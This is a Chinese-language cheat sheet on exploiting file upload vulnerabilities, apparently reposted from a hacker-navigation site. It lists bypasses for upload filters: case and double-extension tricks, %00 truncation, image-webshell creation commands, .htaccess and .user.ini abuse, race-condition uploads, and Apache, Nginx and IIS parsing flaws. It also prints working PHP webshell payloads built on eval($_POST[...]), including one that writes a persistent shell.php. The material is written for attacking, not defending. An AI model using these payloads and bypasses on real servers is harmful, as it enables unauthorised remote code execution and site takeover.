文件上传漏洞总结

1.前端用js判断后端不检验,直接抓包绕过;
2.Content-type字段可以修改绕过;
3.危险可执行文件后缀:
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess

4.大小写绕过:.PHP
5.收尾去空去点 payload: 点+php+点+空格+点
6.str_isreplace()将特征值字符串替换成空,可使用 双写绕过 .pphphp
7. GET上传文件,但上传路径可修改url后缀添加 phpinfo.php%00绕过
8. POST上传文件,但上传文件路径可控 %00 要转编码
9.读 文件字符串检测来判断文件类型检测方式, 生成图片木马绕过
生成语句: 

copy logo.jpg/b+test.php/a test.jpg

10.文件内容检测 <?  判断 
<script language="php">@eval($_POST['pwd']);phpinfo();</script>

11.PUT协议上传文件,属于白给shell

Windows系统特性

1.文件名后缀加空格和加. windows自动过滤。
2. ::$DATA是默认自动去除

Linux系统特性

1.Linux是根据文件文件头和文件内容判断文件类型,故只要文件中含有文件头,不管4字节和8字节均会被系统认为是图片文件。

逻辑 1.文件上传到服务器rename修改文件后通过unlink删除文件;故可以直接burp一直提交另一边一直访问来生成导出shell;

Payload: 
<?php fputs(fopen('shell.php','w'),'<?php@eval($_POST["cmd"])?>');?>

2.非白名单上传文件,判断过滤函数过多,即可大批量图片马来频繁丢包,导致他服务器列队溢出,实现文件上传

3.$file判断是否为数组,可以在文件内容中提前输入数组变量绕过。
4.针对云锁有针对用户体验感特性,用大量垃圾字符/**11111111**/填充,使文件过大超出他检测范围
5.htaccess apache的仿静态配置文件,可让jpg赋予php的执行权限
6.user.ini 为LAMP 在nginx环境下利用

①这里的.user.ini文件的意思就是将当前目录下所有的文件都包含进当前目录的php文件进行解析

②构造好.user,ini文件后,讲其改名为.user.ini

③上传图片马

④上传.user.ini

⑤访问php文件即可获得shell

函数特性

str_isreplace():       双写绕过
getimagesize():       图片马绕过
Imagecreatefromgif():  16进制传gif对比上传文件hex不变位置插马
exif_imagetype():
图片马
要设置.htaccess定义高宽
#define width 100
#define height 100
3.利用x00x00x8ax39x8ax39

文件解析漏洞特性

Apache: xxx.php.jpg  
文件解析是从右到左开始判断解析 , 如果文件的后缀为不可识别 ,就再往左判断 故可上传文件名xxx.php.222绕过    
Nginx : Xxx.jpg%00xx.php
Nginx ( 0.5.,0.6., 0.7 ~ 0.7.65, 0.8~ 0.8.37 ):
url /xx.jpg%00.php
url /a.jpg%00.php
IIS  5.x/6.0解析漏洞 :xxx.asp;.jpg
IIS 6.0 默认解析 : asp、asa、cer、cdx  文件为执行文件
IIS  7.0/IIS  7.5/  Nginx  <0.8.3  默认开始 Fast-CGI  url /xx.jpg/.php

版权声明:玥玥 发表于 2021-08-03 21:26:39。
转载请注明:文件上传漏洞总结 | 女黑客导航